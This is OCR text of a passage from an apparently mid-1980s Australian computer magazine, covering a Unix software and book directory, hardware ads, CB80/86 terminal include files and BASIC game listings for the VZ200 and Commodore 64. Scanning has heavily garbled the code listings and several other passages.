guage compatible with Digital Equipment 
Corporation’s DIBOL business language, the 
SIBOL compiler allows DIBOL programs to 
be written on Perkin-Elmer Unix hardware 
systems. 
Basic Configuration: 7350A and 3200 Perkin- 
Elmer Series. 
Unix version supported: UniPlus+ and Xelos. 

Software support for Unix Cromemco 
System 
Supplier. Insystems, Suite 11, 84 Pacific 

Highway, St Leonards 2065; (02) 439 3788. 
Price: $800 to $2500 aos 
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Description: Applications packages and prog- 
ramming languages for Cromemco Systems 
100, 300 and 400, including the Unify Re- 
lational Database System, Informix Relation- 
al Database System, FORTRAN 77, COBOL, 
Pascal, BASIC, Assembler, C, Quadraton 
Office Automation System, RM COBOL, and 
SML BASIC. 

Basic Configuration: 50 Mbyte hard disk and 512 
Kbytes of RAM. 
Unix version supported: Unix version V. 

Status 
Supplier. Computer Power, 25th Floor, 
National Mutual Centre, 44 Market Street, 
Sydney 2000; (02) 29 2211. 
Price: Price on application 
Description: Status is a text storage and retriev- 
al system that enhances word processing 
facilities by providing an easy procedure for 
searching through and retrieving textual in- 
formation. In addition, Status provides 
online information storage and presentation 
of structured data, or unstructured informa- 
tion such as letters and memos. The package 
may be used immediately or as a prototype, 
and incorporates comprehensive security 
controls. Status is portable across a wide 
range of hardware. 
Basic Configuration: 6 Mbyte disk with 90 
Kbytes of workspace required for each user. 
The package is said to have the potential to 
run on any Unix machine with a FORTRAN 
Compiler. 
Unix version supported: Unix Versions 3, 4.2, 5, 6, 
and 7. 

Supercomp-Twenty 
Supplier. Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 
Price: $1,800 
Description: The Supercomp-Twenty package is 
a powerful electronic spreadsheet which 
combines the ease of use common to micro- 
computer spreadsheets with much of the 
modelling power of mainframe financial 
planning languages. It has flexible file hand- 
ling, command files and custom report gen- 
eration. 
Basic Configuration: Perkin-Elmer's 7350A and 
3200 computers. 
Unix version supported: UniPlus+ and Xelos. 

System 380 Microcomputer Systems 
Distributor: Total Electronics, Cnr Campbell 
Street and Reserve Road, Artarmon 2064; 
(02)438 1855. 

Price: Available on application 
Description: Intel's System 380 microcomputer 
system is a Multibus-based, integrated pack- 
age that offers high performance and expan- 
dability in industrial or commercial areas. It 
is available in either iAPX 86 or a super-fast 
iAPX 286-based version. 
Minimum hardware required: 35 Mbyte hard 
disk, 1 Mbyte diskette, eleven board slots and 

one peripheral slot for system expansion. 
Supports Unix Version: iRMX or Xenix 3.0. 

Tetraplan 
Supplier: Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 
Price: $3000 — $12000 
Description: Tetraplan is an integrated 
approach to business accounting, incorpor- 
ating order entry, invoicing, sales analysis, 
purchase orders, stock control, accounts re- 
ceivable, accounts payable, general ledger 
and management reporting modules. The 
package also offers multi-user operation and 
ease of use. 
Basic Configuration: 7350A and 3200 Series Per- 
kin-Elmer machines. 
Unix version supported: UniPlus+ and Xelos. 

Today 
Supplier. BBJ Computer Services, 70 Park 
Street, South Melbourne VIC 3205: (03) 690 
8995. 
Price: $4200 
Description: Today is a fourth-generation lan- 
guage running under Unix and Unix- 
compatible operating systems. It provides 
application portability across a range of 
machines and a range of databases. Some of 
its features include a report generator and 
self-documentation, powerful recursive logic 
which includes decision tables, source code 
security and automatic screens and reports. 
No knowledge of Unix or other programming 
languages is required to use Today. 
Basic Configuration. | megabyte RAM, and a 
hard disk is recommended. 
Unix version supported: Unix or Unix- 
compatibles. 

TRS-Xenix BASIC Interpreter 
Supplier. Tandy Australia, 91 Kurrajong Ave- 
nue, Mt Druitt 2770; (02) 675 1222. 
Price: $349.95 
Description: The Interpreter offers easy calls to 
machine language subroutines, fast execu- 
tion, and the ability to chain other BASIC 
programs stored on disk to the main program 
and pass common variable values. Other fea- 
tures include easy calls to assembler sub- 
routines for fast execution, and double- 
precision maths operations for large num- 
bers. MBASIC supports 40 significant charac- 
ters for variable names, string variables of up 
to 32 Kbytes and logical record lengths of up 
to 32 Kbytes. 
Unix version supported: Xenix 1.3 or Xenix 30 

TRS-Xenix COBOL Development System 
Supplier. Tandy Australia, 91 Kurrajong Ave- 
nue, Mt Druitt 2770; (02) 675 1222. 

Price: $899.95 
Description: Features multi-keyed ISAM (Inde- 
xed Sequential Access Method) for quick ac- 
cess of data, interactive DEBUG for program 
development and testing with address stop, > 
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CRT control with extended ACCEPT/DISPLAY 
commands for attractive screen formatting, 
and full level-2 Input/Output commands. The 
program has an editor for creating and 
changing source programs, and a single-pass 
compiler which generates object code for fast 
execution by the run-time diskette. 
Unix version supported: Xenix 3.1 or Xenix 3.0. 

TRS-Xenix Development System 
Supplier. Tandy Australia, 91 Kurrajong Ave- 
nue, Mt Druitt 2770; (02) 675 1222. 
Price. $999.95 
Description: The system includes all standard 
Unix utilities for multi-user software de- 
velopment: it has full password protection, 
on-line communications, electronic mail, a 
text editor and so on. The TRS-Xenix develop- 
ment system with the C language is for adv- 
anced programmers developing multi-user 
software to run under Model 16B Xenix. It has 
been used in a variety of areas for applica- 
tions development, including research and 
business, numeric and text processing, and 
database programs. 
Basic Configuration: Although the absolute 
minimum RAM required is 256 Kbytes, re- 
commended capacity is 512 Kbytes, with a 
hard disk. 
Unix version supported: Xenix 1.3 or Xenix 3.0 

Unify 
Supplier. Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 
Price: $1,890 to $29,475 
Description: The UNIFY relational database 
management system combines a range of 
powerful fourth-generation application de- 
velopment facilities. It has full security and 
allows interactive data entry. 
Basic Configuration: Perkin-Elmer's 7350A or. 
3200 Series. 
Unix version supported: UniPlus+ and Xelos 

Unify Database Management System 
Supplier: Neology, 9th Floor, | Rosebery 
Avenue, Rosebery 2018; (02) 662 4111. 
Price: From $1800 
Description: The Unify database management 
system provides advanced fourth-generation 
development tools. It integrates several 
programs, including: Paint for simplified, in- 
teractive screen format design; SQL (Struc- 
tured Query Language), the powerful En- 
glish-like query language designed by IBM: 
QBF (Query by Forms), which simplifies 
queries by using easy form structures to fill 
out; RPT, a report writer that allows almost 
limitless flexibility in report design; and DML 
a Data Manipulation Language that allows 
end-users to conditionally update the data- 
base without writing programs. 
Basic Configuration. 256 Kbytes RAM and 10 
Mbytes hard disk storage. 
Unix version supported: All versions of Unix and 
Unix-based operating systems. 
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UniPlus+ 
Distributor: Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 
Price: $1,880 
Description: This optimised UniPlus+ port of 
Unix System III offers compatibility with a 
wide range of Unix systems for straightfor- 
ward migration, growth path, access to third- 
party software and investment protection. 
Minimum hardware required: Perkin-Elmer's 
7350A System . 
Supports Unix Version: Unix System III. 

Unisoft Uniplus+ for CompuPro 
Supplier. Automation Statham, 47 Birch St, 
Bankstown 2200; (02) 709 4144. 
Price: $2640 (includes over 12 MBytes of 
files and seven manuals) 
Description: Uniplus+ bundled with all the 
goodies that other suppliers often strip out. A 
Unix System V port for the M68000, written by 
Unisoft and adapted by Comcen Technology 
for CompuPro. 
Basic Configuration: CompuPro System 816/E1/ 
MM/F8H40. 

Unix version supported: System V with Berkeley 
enhancements. 

Visiword 
Supplier. Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 

Price: $940 
Description: The Visiword package is a full- 
functioned word processing program, de- 
signed with the office worker in mind. It is 
said to be easy to learn and use, and is menu 
driven. Page width can be up to 225 charac- 
ters and the package has a split-screen op- 
tion. 
Basic Configuration: 7350A and 3200 Perkin- 
Elmer machines. 
Unix version supported: UniPlus+ and Xelos. 

Xelos 
Distributor: Perkin-Elmer Computers, 3 Byfield 
Street, North Ryde 2113; (02) 887 1000. 
Price: $2,840 to $14,750 
Description. The Unix System V release 2 im- 
plementation of Unix, known as Xelos, is 
available on the Perkin-Elmer Series 3200 
family of supermicros up to the 3250XP. 
Xelos is a highly structured operating system 
with a proven record for increasing the pro- 
ductivity of systems and applications prog- 
rams. It includes a documenter’s workbench, 
has multi-user and multi-tasking capabili- 
ties, and allows remote file transfer. 
Minimum hardware required: Perkin-Elmer's 
3200 Series up to 3250XP. 
Supports Unix Version: Unix System V release 2 

Xenix Languages 
Distributor. Total Electronics, Cnr Campbell 
Street and Reserve Road, Artarmon 2064; (02) 
438 1855. 

Price: Available on application 
Description: There are three high-level lan- 
guages available for the Xenix operating sys- 
tem. These include Xenix FORTRAN for scien- 
tific and numeric applications. Compliance 
with the X3.9 ANSI standard at the subset 
level of Xenix FORTRAN ensures portability 
with minimal source code modifications. 
Other features of the Xenix FORTRAN lan- 
guage include double-precision arithmetic, 
which handles numbers containing 15 signi- 
ficant digits, and access to a subroutine lib- 
rary which includes subroutines for 16- and 
32-bit integer arithmetic and 32- and 64- bit 
floating point arithmetic. 

Xenix COBOL features a facility for dyna- 
mically loading sub- programs from disk as 
required, it also supports Forms-2, a powerful 
visual programming tool that speeds the 
creation of programs involving interactive 
screen handling. 

With Xenix BASIC most programs for MS- 
DOS BASIC can be run on Xenix unchanged. 
Features include 16 significant digit double- 
precision floating point arithmetic, 80287 
support, and assembly language routine call- 
ing capabilities. 

The Xenix languages allow easy porting of 
mainframe and minicomputer applications 
to micro environments. 
Minimum hardware required: 186 Kbytes 
RAM, any iAPX 286 based or iSBC 286-based 
system (including Intel's 286/300 family and 
iDIS systems), and two floppy disks or a hard 
disk. 
Supports Unix Version: Xenix operating system. 

Xenix 3.0 Operating System 
Distributor: Total Electronics, Cnr Campbell 
Street and Reserve Road, Artarmon 2064; (02) 
438 1855. 
Price: Available on application 
Description: Intel’s Xenix 3.0 operating sys- 
tem for the 80286 is a fully-licensed deriva- 
tion of Bell Laboratories’ Unix System IIL. 
Xenix 3.0 includes the operating system, the 
C language, text processors, development 
tools, system accounting and security fea- 
tures. The Xenix C shell has the ability to 
maintain histories of invoked processes and 
provide the alias feature, saving re-keying of 
often-used commands. Xenix 3.0 also pro- 
vides the visual shell, a menu-driven com- 
mand interpreter which makes full use of the 
screen to display status and environment in- 
formation to the user. There is a built-in help 
facility which allows users to add new ap- 
plications to the menu. Other features in- 
clude: the support of multiple levels of in- 
tegration (components, boards and 
systems); fast processing of floating points: 
and on-chip memory management and pro- 
tection. Each version of Xenix 3.0 is compati- 

ble with every other. 
Supports Unix Version: Xenix 3.0 operating sys- 

tem. 



Publications 
'A Unix Primer’ by Nicols and Nico 
Lomuto 

Supplier: Prentice-Hall, 7 Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 
Price: $35.95 
Description: A practical introduction to the 
Unix system for first-time users. Extensive 
hands-on exercises allow users to apply each 
new concept to new situations. Technical 
terms are defined, topics are presented in a 
logical learning order, and case studies are 
provided. 

Editing in a Unix Environment: The vi/ex 
Editor’ by Mel Lozy 
Supplier. Prentice-Hall, 7 Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 
Price: $39.50 
Description: Gives Unix users hands-on in- 
structions for using the powerful vi/ex editor. 
Striking a much-needed medium between 
complex documentation and the brief hand- 
outs given out by most computer centres, 
this guide starts with key guidelines and adds 
functions gradually. 

Exploring the Unix System’ by Stephen 
G Kochan and Patrick H Wood 
Supplier: Holt-Saunders Pty Ltd, 9 Waltham 
Street, Artarmon 2065. 
Price: $34.95 
Description: Written by employees of Bell 
Laboratories, this book shows how to use the 
Unix system — including System V Release 2. 
It provides a vast assortment of commands 
that perform small, well-defined functions 
along with the tools needed to combine 
these commands to perform more sophisti- 
cated functions. It also contains more than 90 
short, complete programs that illustrate im- 
portant principles of structured C program- 

ming and syntax. 

‘Introduction to UNIX System V’ by 
Robert A Byers 
Supplier. Prentice-Hall, 7 Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 
Price: $32.50 
Description: Attempts to show why Unix Sys- 
tem V is the emerging standard for micro- 
computers, minicomputers, superminis and 

mainframes. Explains how the system mini- 
mises the expensive and time-consuming re- 

programming usually necessitated by hard- 
ware alterations. 

‘Programming in C with a bit of Unix’ by 
F Richard Moore 
Supplier: Prentice-Hall, Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 
Price: $39.95 
Description: How to program in C for those with 
no previous computer experience. A compre- 

hensive guide to the C programming lan- 
guage encompassing such areas as science, 
engineering and the arts on the Unix operat- 
ing system. 

‘Starting With Unix’ by Brown 
Supplier: Addison-Wesley Publishing Com- 
pany, 6-8 Byfield Street, North Ryde 2113: 
(02) 888 2733. 

Price: $16.95 

Description: Written for the beginner, this book 
explains the principles behind Unix, and 
gives detailed examples of programs for 
actual use. 

'The Business Guide to The Unix System’ 
Supplier: Addison-Wesley, 6-8 Byfield Street, 
North Ryde 2113; (02) 888 2733. 
Price. $27.95 
Description: Specific business applications, in- 
cluding discussion of word processing, data 
filing and storage, text formatting, electronic 
mail, typesetting and telecommunications. 

'The Business Guide to the Xenix System’ 
by Yates 
Supplier’ Addison-Wesley, 6-8 Byfield Street, 
North Ryde 2113; (02) 888 2733. 
Price. $2795 

Description. Business applications of Xenix. 
This book is designed to help users of the 
Xenix operating system, Microsoft Corpora- 
tion’s licensed version of Unix. 

‘The Real World of Unix’ by Hal Halamka 
Supplier ANZ Book Company, 10 Aquatic 
Drive, Frenchs Forest 2086. 
Price $3795 

Description. A practical guide for first-time 
business users of the Unix version 7 operat- 
ing system. It contains a sampling of re- 
viewed software and hardware related to Unix 
in a business setting and a comprehensive 
command summary, as well as a listing of 
Unix resources. 

'The Unix Programming Environment’ by 
Brian Kernighan and Rob Pike 
Supplier, Prentice-Hall, 7 Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 
Price? $28.95 
Description. Analyses the mixing and matching 
Of programs to create more powerful new 
Unix commands. Intended for use at the ter- 
minal, users are encouraged to explore and 
expcriment with programs to gain an effec- 
tive approach to programming. 

'The Unix System’ by Bourne 
Supplier. Addison-Wesley, 6-8 Byfield Street, 
North Ryde 2113; (02) 888 2733. 

Price: $22.95 

Description. Comprehensive introduction with 
an emphasis on the utilities unique to Unix. 
In-depth coverage of the Unix programming 
environment suitable for novices and ex- 
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perts. Explanation of the background, design 
philosophy and development of Unix. 

‘Unix and Xenix: A Step-By-Step Guide’ 
by D W Topham and H Van Truong. 
Supplier: Prentice-Hall, 7 Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 
Price: $39.50 
Description: A guide for first-time users of the 
Unix and Xenix operating systems, written for 
those using 16-bit microcomputers. 

‘Unix for People’ by Peter Burns, Patrick 
Brown and John Muster 
Sfipplier. Prentice-Hall, 7 Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 
Price: $35.95 
Description: A self-instructional practical intro- 
duction to the entire Unix system. The step- 
by-step format eliminates frustration and 
confusion and quickly sets users composing 
papers, writing programs, entering data and 
managing records. 

‘Unix Quick Reference’ by William Wetzel 
Supplier: Prentice-Hall, 7 Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 
Price: $26.95 
Description: For experienced programmers, a 
concise summary of the essential details of 
Unix commands. Claimed to be the first Sys- 
tem V compatible programmers’ manual. 

‘Using the Unix System’ by Richard 
Gauthier 
Supplier: Prentice-Hall, 7 Grosvenor Place, 
Brookvale 2100; (02) 939 1333. 

Price: $35.95 
Description: A handbook for computer profes- 
sionals on the program development fea- 
tures of the Unix system. Covers command 
formats, file creation and maintenance, text 
insertion, replacement, deletion, details on 
terminal handling, line spooling, information 
handling and so on. 

Training 
Unix Training Courses 
Supplier: Deltak, 5th floor, 53 Walker Street, 
North Sydney 2060; (02) 436 2622. 
Price. On a rental basis 
Description. Self-paced training that is video- 
and text-based. Three courses on Unix and 
one onthe C programming language. No pre- 
vious experience required for the Unix 
courses — Unix Overview (8 hours), Unix 

Fundamentals (24 hours) and Unix Shell (26 
hours). The C programming language course 
requires previous programming knowledge 
and consists of 16 modules. 
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The tiny portable computer you see above 

can do everything the average desktop can do. And more. 
Meet the EPSON" PX-8. 
As you can see, it’s smaller than a transportable 

and considerably lighter — weighing 2.3 kilograms. Yet at 
the same time, it has a massive 64K RAM (expandable to 
184K), a full 80-character Liquid Crystal Display and an 

excellent full-sized keyboard. 
Normally you’d expect to find those specifica- 

tions on a desktop computer. 
But there’s more. The EPSON PX-8 has inbuilt 

business software for word processing, graphics, data base 

(Portable Cardbox), spreadsheet (Portable Supercalc), 
communications and many more custom programs on 

simple plug-in ROM units. It also uses an extended 
version of Microsoft Basic and a CP/M* operating system 

— which means you have access to one of the world’s 
largest software bases. 

As well, the EPSON PX-8 can be used as a low 

cost, space saving, intelligent terminal that can be plugged 
directly into a mainframe or any high performance micro- 
computer like the EPSON QX-10. 

And then it has features which you will never 
find on a desktop. Rechargeable NiCad batteries (with 
built-in back-up batteries to preserve data with a trickle 

of current until you resume operation). An inbuilt micro- 
cassette recorder for data storage while you’re on the 
move. In fact, everything you would require for complete 

portability. The EPSON PX-8 and screen folds into a 

TURE IS A DESKTOP COMPUTER. 

a 5 ~ ecg / PERSONAL 
_ COMPUTER 
“ ji ee OF THEYEAR 
<o Biome 1985 

book-sized package that easily fits inside your briefcase. 
PERIPHERALS. The EPSON PX-8 is more 

than just the first portable that performs like a desktop. 

A complete range of portable peripherals has 
been designed to go with it. 

There is a 3.5” battery-operated floppy disk 

unit with 360K formatted capacity. (There 1s also a 
standard 5.25” mains-driven version.) 

There is a battery-operated Acoustic Coupler 
which allows you to use any phone — even the one in 

your car — as a direct communication line to your office 

or national data base. 
There are 60K and 120K battery-operated 

RAM packs which can be permanently added to the 

PX-8, greatly enhancing its memory capacity, without 

sacrificing its portability. 
There is also the EPSON P40 compact 

thermal printer which operates on NiCad batteries, as 
well as a complete range of dot matrix printers. 

Personal computing has just taken a great 

leap forward. Although the EPSON PX-8 was designed 
from the ground up as a portable computer, it’s going to 

make a lot of desktops look like dinosaurs. 
Priced at only $1,300** including portable 

wordstar, calc and scheduler. Additional ROM based 

software is available on request. 
EPSON AUSTRALIA, Unit 3, 17 Rodborough 

Road, Frenchs Forest, Sydney (02) 4525222, Melbourne 

(03) 543 6455, Brisbane (07) 832 5400. 

The PX8 by EPSON 
STRALIA 



CB80/86 
Curses, 

Oiled Again! 
Our quality control department 
slipped again (still?). If you care- 
fully copied the CB80/86 library 
routines in our May issue, you 
would have noticed three 
%INCLUDE files referenced in the 
story and the accompanying 
dBase File Fixer program were 
missing. 

The three files contain declara- 
tions for variables used in the lib- 
rary, variable assignments, and a 
list of screen control codes to 
allow programs generated using 
the library to be ‘installable’ for 
different terminals. 

You may have already figured 
out their contents for yourself, 
but the files — STDIO.DCL, 
STDIO.ASS AND STDIO.TRM — 

are included here for your con- 
venience. 

STDIO.DCL 
String normviceo,revideo,bellenar,trimin 

string turtintensity,naltintensity,save.Kney 

string xvleadinysereceol sis srigent.arrow,ael .key 

string return.key,up.arrow,daown.arrow,taod.key 

string escape, back.space,teft.arrow, home .key 

integer true,faise,ves,no,none,aedug ,dlytactor 

Integer crow,ccol] ,numeric,alpna,upper,onlval pna 

common normviaeo,revidceo,bellchar,trmini,save.kev 

common tullincensity,haltintensityv,terminators 

common xvleadin,eraeoi,cis,rignt.arrow,ae..Key 

common return. kev ,up.arrow,down.arrow,tab.key 

common escape,dack.space,left.arrow,nome.Key 

common true,ralse,yes,no,none,debup,dlytactor 

common crow,ccoit,numeric,alpna,upper,onival pha 

STDIO.ASS 
taise=U 

escape=chr$(27) 

true=not false 

yes=true 

no=taise beck.space=cnr5s(8) 

none=i - els=ucnrs (26) 

vpelicnhar=chrs(7) - ceol=i 

crow=i > return.key=chrs(i3) 

up-arrow=chrs (li) aqown.arrow=cnrS$ (id) 

tab.kevechrs(9) > left. arrow=cenrs(8) 

nome.kKey=cnrs(¢ 3) tuil=teise 

eraeol=escaper"T" xvleadin=escapet"= 

normvigeo=escapet"Ga" revideo=escapet"'Ga" 

trmini=cnrscis) fullintensityveescaper'(" 

rignt.arrow=chrs(Ci2) haifintensity=escapet")" 

de] .kevechrs (iz?) > numeric=: 

al pha=2 >: upper=3 

onivaipna=4 divfactor=250 

rem 250 provides approx i sec deiay on 6Mi!lz 8085 
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If you have a professional responsibility 
to further your expertise at the leading 
edge of time-shared computing, then the 
Labtam 3015/V32 must be your choice. 

Labtam’s new true 32-bit range builds 
on the company’s solid foundation of 
expertise in design, manufacturing and 
international marketing of high perfor- 
mance business computers and leading 
edge scientific instruments. 

O) NatSemi’s 32032 microprocessor 
OO Bell Labs’s Unix System 5.2 Version 2 
O) Labtam’s 3015/V32 multi-user floor unit 

Labtam 3015/V32 

OO 15 slot IEEE-796 (Multibus) floor mounted unit. 

[ 2 Mbyte RAM expandable to 12 Mbyte via 
Labtam’s “X”-Bus 32 bit memory connector. (52 M BYTE/ 
SEC.) 

[1 56 Mbyte Winchester disk, 45 Mbyte streaming tape, 
1.2 Mbyte 8” floppy disk. 
O 8 RS232C serial channels, 800x600 pixel graphics 
terminal. 

Grat-X-D.A.G, 2299 

Australia’s most successful 
manufacturer 

of high performance computers is now delivering its 

world leading Unix” 
32-bit super micro. 

.... Leading the Field. 

Unix System 5.2 Version 2 
CL) Demand paged virtual memory. 
CO) Memory Management for 16 Mbyte/process. 
OO File and record locking for multi-user access. 
(1 File system hardening (protection). 
QO Fortran 77 enhancements. 
C) All standard utilities & C language. 
Natsemi 32032 
O The first commercially available full 32-bit 
microprocessor. 

O) NS 32081 64 bit double precision floating point 
mathematics processor. 
CJ NS 32082 demand paged virtual memory 
management. 

For further information regarding the Labtam 3015/V32, contact 
Labtam on:- 

Victoria:- (03) 587 1444 

Queensland:- (07) 387 9877 
Canberra:- (062) 73 1955 

South Australia:- (08) 42 0031 
Western Australia:- (09) 382 3622 
N.S.W.:- (02) 411 2588 
New Zealand (Auckland):- (09) 451 305 



CB80/86 
STDIO.TRM 

VZ200 

ELECTRIC 
TUNNEL 

The object of the game is to travel 
along the tunnel, avoiding the 
electrically charged walls. 

The program uses joysticks for 
control, but by modifying lines 
170 and 180 the program could 
use the keyboard: 
170 KYS=INKEYS 
180 IF KYS="M" THEN Z=Z-] 

ELSE IF KYS=",” THEN=Z Z+1 
The PEEK in line 190 checks to 

see if the position in front of you 
is clear. Scoring is based on the 
distance you travel along the 
tunnel. 

Bruce Daniel, 
Mudgee, NSW 

POCKET PROGRAMS 

terminal contro] codes, in decimal], separated 

oy commas, '\' is rem token and MUST foliow 

immediately after control codes. couble 

backsiash (\\) must appear at start of iine 

before actual codes hbepin. ail codes must appear 

in tne fiie on the right iine! 

\\ 

26\ cls=cnr$(26) 

i4\ trmini=cnrsCla) “N for kokusai 

27,40\ fullintensity=escapet"(" 

27,41\ hatfintensity=escapet")" 

27,7: ,48\ normv ideo=escape+"GU" 

DIELS ERIN revideo=escapet"G4" 

ii \ up.arrow=cnr$ (11) 

La\ down. arrow=chrS$( 10) 

8 \ left.arrow=cnhrs(8) 

12\ rignt.arrow=chr$(12) 

27 ,84\ eraeo? =escapet'"y" 

27,61\ xyleadin=escapet+"'=" 

@’ ELECTRIC TUNNEL 
1’ WRITTEN BY = BRUCE DANIEL 

468 FORT=1705 

478 FORTD=17025 :NEXTTD 
2? 48 PRINT@@,"-+# CRASH CRASH CRASH CRASH #+- "; 
1@ CLS + COLOR 2,8 
28 P$ = CHR$(143) 
38 FOR I=1 TO 18 : P$=P$+CHR${176) 
4B NEXT I:P$=P$+CHR$(143) 
5@ IF INKEY$<>"" THEN X=RND(B) :GOTO 50 
10@ PP=16-INT(LEN(P$)/2) 
11@ Z=14 
13@ PRINT TAB(PP)3P$ :POKE 28672+7,99 
14@ IF RND(2)=1 THEN PP=PP+RND(3)-2 
15@ IF PP<3 THENPP=JELSE IFPP>(32-LEN(P$)-3) THENPP=32-LEN(P$)-3 
168 IF CN<16 THEN 298 
17@ JK= INP(43) AND INP(46) AND 31 
18@ IF JK=27 THEN 7=7-1ELSE IF JK=23 THEN 2=Z+1 
19@ L=PEEK(28704+7):IF L<>144 AND L<>176 AND L<3128 THEN 480 
290 CN=CN+i:IF CN/3@<>INT(CN/3Q) THEN 138 
300 Q=LEN(P$) 
318 IF Q<=5 THEN 132 
320 PS=LEFT$(P$, 1)+MID$(P$,2,0-3)+RIGHT$(P$, 1) 
338 GOTO 138 
482 PRINT:POKE 28672+7, 45 
418 COLOR, 1:SOUND31, 1:SOUND31, 1:SOUND23, 1:SOUND23, 1 
428 SOUND13, 1:SOUND13, 1:SOUND4,5 
425° 
449 SOUND Q,2 
458 COLOR, 

498 FORTD=1TOZ5:NEXTTD . 

318 FORTD=1T025:NEXTTD, I 

520 PRINT@128, "SCORE:";” INVERSE *SCORE’ 

3.38 SC=INT(CN#1.2-DN) sPRINTSC; 

348 PRINT@480," PRESS <RETURN> TO TRY AGAIN"; 
558 IF INKEY$<>CHR$(13) THEN 55@ 

368 RUN 

388 PRINT@B, * "5 



On March 12th 
forty eyewitnesses 
watched in Shock 

as this 
harmless-looking 

diskette 
committed murder 

It crushed a Remington NBI 
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@ master distributor @ 

With its speed, advanced formatting 
capabilities, special applications assis- 
tance, three successive levels of Help, 
and Seamless Integration™ of line 
drawing, five function math, and spell- 
ing checker, SAMNA Word ITI easily 
surpasses the functionality of a 
dedicated word processor. It’s the 
perfect choice for anyone with 
demanding word processing needs. 

SAMNA+ extends SAMNA Word III 
with the further integration of a 
comprehensive spreadsheet and 
Word Base Manager. Amongst others, 
this allows you to include multiple 
spreadsheets directly into text. The 
Word Base Manager enables you to 
rapidly search for names or references 
in aseries of documents. It’s the perfect 
office automation tool. 

Available now on the IBM PC, PC-XT, AT, PC 3270 and close compatibles 

Read what the November 1984 issue of Byte Magazine said 

6G samna word Ill is the best of several word-processing programs I’ve tested, 
including WordStar, Easywriter Il, Volkswriter, Volkswriter Deluxe, and MultiMate. | 
use Samna at home on my PC anda Micom wordprocessor at work. | like the speed of 

the Micom, and this makes me fidgety when Samna takes too long to complete an 
operation, but Samna Word III’s many special features more than compensate for this 
problem. I'd rather work with Samna Word Ill than with a dedicated word 
processor. y 5 

AGOPeSS ch cc ae elt 

Post to: FREEPOST 2, ARCOM Pacific, P.O. Box 13, Clayfield, Q. 4011 



Commodore 64 

POCKET PROGRAMS 

a REM CITY BOMBER BY PAUL VANDENBERG 

FOR THE C649 WITH SUPER EXPANDER 

1 FORF=35328T035519: READA: POKEF, A: NEXTF 
2 L=19:SC=a 
3 LNS=""!FORF=1TO2G:LNS=LNS+" =" NEXTE 
? SPRCOL7:COLOR,,,,@:SPRITES,@,6,,1:SPRI 
TE2,9,10,,,,1 
@ E=G:T=2 
9 GOSLIRIOga 
1@ SPRITE@,1:SPRITE1,1! 
11 MOVSPRG, 388, 7G: MOVSPR1, 398,790 
12 MOVSPRE, SHI: MOVSPR1, BHA 
2@ SPRITE@,1:SPRITE1,1 
3G MOVSPRG, 278#2 
35 A=RSPPOS (2,8) :MOVSPR1,A, +8 
36 B=RSPPOS(1,1)!:IFB>2GQTHEN: MOVSPR1, GHG 
:SPRITE1,@:X=RSPPOS (8,8) : Y=200:GOTOIL9G 
42 GETAS: IFAS<>""THEN: MOVSPR1, 18984 
S@ GOTO35 
198 MOVSPR2,%, Y:SPRITE2,1,2 
191 MOVSPR1, 298,79 
1@2 IFX<24QANDX > 1 STHENC=INT (X/16) -1: IFB( 
C) S@THENB(C)=B(C) -1: GOSUB999: GOTO184 
1@3 IFB(C)=@THENL=L-1:L%=STRS(L) : CHAR, 36 
,8,L%: GOSUBR2 a4 
194 SPRITE2,@:SPRITE1, 1: MOVSPR1, ONE 
195 GOTO35 
208 N=LEN(L#) : CHAR, 36+N,Q@, " 
BBO 
201 RETURN 
899 sTOP 
988 SC=SC+19!: GSHAPENS, C¥16, 163-(B(C)*4): 
IFB(C) =@THENT=T#+1 
981 SS=STRS(SC): CHAR, 16,9,5% 
942 TUNE3,8,15,3,9 
983 PRINTCHRS(6) "OQ2VET3U9SC" 
919 IFT=14THENGOTO3904E 
999 RETURN 
1@@@ GRAPHIC2, 1: BOX,9,9,15,3,,1: B09, 2,1 
,3,23:BOX9,5,1,6,3:B0X9,9,1,19,3 
1901 BOX9,12,1,13,3:SSHAPEZ%,%,8,15,3 
1982 DIMB(13) :FORF=9T013:B(F)=INT(RND(O) 
#15) +1:NEXTE 
1983 SCNCLR: SSHAPENS,9,9,15,3 
191@ COLORS, 6:GRAFPHIC2, 1: COLOR!4 
1911 FORF=@TO2G: CHAR, @,F,LNS:NEXTF 
1G12 COLOR, @:FORF=@TO13:xX=FX16:AM=B(F) IF 
ORG=163T0(167- (AM¥4) ) STEP-4 
1G13 GSHAPEZS, xX, G!NEXTG: NEXTF:LS=STRS(L) 
!CHAR, 38,4, "LIVES=":CHAR, 36,8,L$% 
1914 COLORS, 6: DRAW, 224, 168T0319, 168TO319 
, 18570268, 18970224, 168: PAINT, 259,170, 1 
1915 COLOR14,@ 
1916 CHAR, 19,9, "SCORE=":S$=STRS(SC) : CHAR 
.16,2,S% 
1999 RETURN 

"? IFL=STHEN9? 

ZOGD DATA, 5555555055145 5 5 3H, 127, 255, 255 
,191, 255, 255, 255, 224,3,127, 255,255 
2OGD1L DATA, sssssrsssnssassaassaaassassgne 

3:92339:REM 36 COMMAS AND ONE 9 

2ZOB2 DATAgss555555558535353 43 128,575,128, 57, 

L2B, Sern essssaeasssassssseaaa0 

2EAS DATAgssss55555559550 | 

2899 DATAG,9,9,9,2,169,32,19,168,168,179 

, 168,178,169, 160,42, 166,128, 41,86,128 
2985 DATA42, 86, 128,19,85, 168,42,85, 168, 1 
69,86, 168, 165, 99, 128,41,86,8 
2886 DATA4S1, 86, 128,9, 86, 169,9, 169, 168, 42 
,170,168,170,170,168,162,168,128 
2087 DATA128,128,9,9,8,9,2 
3888 GRAPHICG, 1 
3681 PRINT"{RED} CONGRATULATIONS! !” 
3992 PRINT"{BLK} YOU SUCCESSFULLY DESTROY 
ED THE CITY" . 
